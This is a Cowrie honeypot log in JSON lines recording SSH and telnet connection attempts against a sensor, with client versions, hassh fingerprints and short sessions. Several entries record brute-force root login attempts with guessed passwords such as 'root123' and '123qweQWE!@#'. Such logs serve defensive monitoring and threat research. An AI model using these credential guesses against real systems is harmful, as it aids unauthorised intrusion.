{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:26.163798Z","src_ip":"87.251.79.125","session":"7f07e06c51d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"akatsuki","message":"login attempt [root/akatsuki] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:26.383577Z","src_ip":"87.251.79.125","session":"7f07e06c51d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:27.459973Z","src_ip":"87.251.79.125","session":"7f07e06c51d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":43602,"dst_ip":"10.17.0.5","dst_port":22,"session":"e60f39d795ce","protocol":"ssh","message":"New connection: 80.66.85.226:43602 (10.17.0.5:22) [session: e60f39d795ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:31.038420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:31.045310Z","src_ip":"80.66.85.226","session":"e60f39d795ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:31.141269Z","src_ip":"80.66.85.226","session":"e60f39d795ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0807199","message":"login attempt [root/0807199] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:31.424305Z","src_ip":"80.66.85.226","session":"e60f39d795ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:32.521844Z","src_ip":"80.66.85.226","session":"e60f39d795ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.138","src_port":16274,"dst_ip":"10.17.0.5","dst_port":23,"session":"eebcdd83840c","protocol":"telnet","message":"New connection: 66.132.172.138:16274 (10.17.0.5:23) [session: eebcdd83840c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:41.283863Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"23e0f550a3b1","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: 23e0f550a3b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:51.520478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:51.525578Z","src_ip":"23.97.62.150","session":"23e0f550a3b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:51.761078Z","src_ip":"23.97.62.150","session":"23e0f550a3b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:52.468364Z","src_ip":"23.97.62.150","session":"23e0f550a3b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:53.707668Z","src_ip":"23.97.62.150","session":"23e0f550a3b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":53386,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9c59d9d1c1a","protocol":"ssh","message":"New connection: 153.80.249.112:53386 (10.17.0.5:22) [session: a9c59d9d1c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:54.992982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:54.998605Z","src_ip":"153.80.249.112","session":"a9c59d9d1c1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:55.084206Z","src_ip":"153.80.249.112","session":"a9c59d9d1c1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweQWE!@#","message":"login attempt [root/123qweQWE!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:55.447159Z","src_ip":"153.80.249.112","session":"a9c59d9d1c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:56.534377Z","src_ip":"153.80.249.112","session":"a9c59d9d1c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.376569271087646,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:56.660299Z","src_ip":"66.132.172.138","session":"eebcdd83840c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.138","src_port":42464,"dst_ip":"10.17.0.5","dst_port":23,"session":"390d0b5c6e1b","protocol":"telnet","message":"New connection: 66.132.172.138:42464 (10.17.0.5:23) [session: 390d0b5c6e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:00.189335Z"}
{"eventid":"cowrie.session.closed","duration":3.7228195667266846,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:03.912012Z","src_ip":"66.132.172.138","session":"390d0b5c6e1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.234","src_port":57268,"dst_ip":"10.17.0.5","dst_port":23,"session":"d24641a44631","protocol":"telnet","message":"New connection: 66.132.224.234:57268 (10.17.0.5:23) [session: d24641a44631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:06.014449Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.138","src_port":42846,"dst_ip":"10.17.0.5","dst_port":23,"session":"17620c296ffa","protocol":"telnet","message":"New connection: 66.132.172.138:42846 (10.17.0.5:23) [session: 17620c296ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:07.804706Z"}
{"eventid":"cowrie.session.closed","duration":10.69331407546997,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:18.497883Z","src_ip":"66.132.172.138","session":"17620c296ffa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.742708921432495,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:21.757022Z","src_ip":"66.132.224.234","session":"d24641a44631","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.234","src_port":5526,"dst_ip":"10.17.0.5","dst_port":23,"session":"13251e24cef9","protocol":"telnet","message":"New connection: 66.132.224.234:5526 (10.17.0.5:23) [session: 13251e24cef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:27.318513Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.200","src_port":34284,"dst_ip":"10.17.0.5","dst_port":23,"session":"73cd22a81d8b","protocol":"telnet","message":"New connection: 66.132.172.200:34284 (10.17.0.5:23) [session: 73cd22a81d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:27.409452Z"}
{"eventid":"cowrie.session.closed","duration":3.716881036758423,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:31.035237Z","src_ip":"66.132.224.234","session":"13251e24cef9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.72187328338623,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:43.131202Z","src_ip":"66.132.172.200","session":"73cd22a81d8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.234","src_port":37120,"dst_ip":"10.17.0.5","dst_port":23,"session":"321676ff53db","protocol":"telnet","message":"New connection: 66.132.224.234:37120 (10.17.0.5:23) [session: 321676ff53db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:46.127658Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.200","src_port":14486,"dst_ip":"10.17.0.5","dst_port":23,"session":"d60ce2af8dac","protocol":"telnet","message":"New connection: 66.132.172.200:14486 (10.17.0.5:23) [session: d60ce2af8dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:50.232114Z"}
{"eventid":"cowrie.session.closed","duration":3.215327739715576,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:53.447315Z","src_ip":"66.132.172.200","session":"d60ce2af8dac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":48246,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0bee7c9e3d4","protocol":"ssh","message":"New connection: 103.172.78.219:48246 (159.203.135.109:22) [session: b0bee7c9e3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:56.360841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:56.366353Z","src_ip":"103.172.78.219","session":"b0bee7c9e3d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:56.630987Z","src_ip":"103.172.78.219","session":"b0bee7c9e3d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.809224605560303,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:56.936748Z","src_ip":"66.132.224.234","session":"321676ff53db","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"sweetpea","message":"login attempt [root/sweetpea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:57.428099Z","src_ip":"103.172.78.219","session":"b0bee7c9e3d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:58.695873Z","src_ip":"103.172.78.219","session":"b0bee7c9e3d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.200","src_port":27974,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2604f59411a","protocol":"telnet","message":"New connection: 66.132.172.200:27974 (10.17.0.5:23) [session: f2604f59411a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:47:59.884938Z"}
{"eventid":"cowrie.session.closed","duration":10.902168989181519,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:48:10.786997Z","src_ip":"66.132.172.200","session":"f2604f59411a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":52206,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b96b8373ef2","protocol":"ssh","message":"New connection: 153.80.249.112:52206 (10.17.0.5:22) [session: 4b96b8373ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:48:17.824648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:48:17.831979Z","src_ip":"153.80.249.112","session":"4b96b8373ef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:48:17.918540Z","src_ip":"153.80.249.112","session":"4b96b8373ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bbbbbbbb","message":"login attempt [root/bbbbbbbb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:48:18.283419Z","src_ip":"153.80.249.112","session":"4b96b8373ef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:48:19.369921Z","src_ip":"153.80.249.112","session":"4b96b8373ef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":60264,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d2b73a70932","protocol":"ssh","message":"New connection: 103.77.175.15:60264 (159.203.135.109:22) [session: 1d2b73a70932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:48:46.898322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:48:46.902881Z","src_ip":"103.77.175.15","session":"1d2b73a70932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:48:47.148912Z","src_ip":"103.77.175.15","session":"1d2b73a70932","protocol":"ssh"}
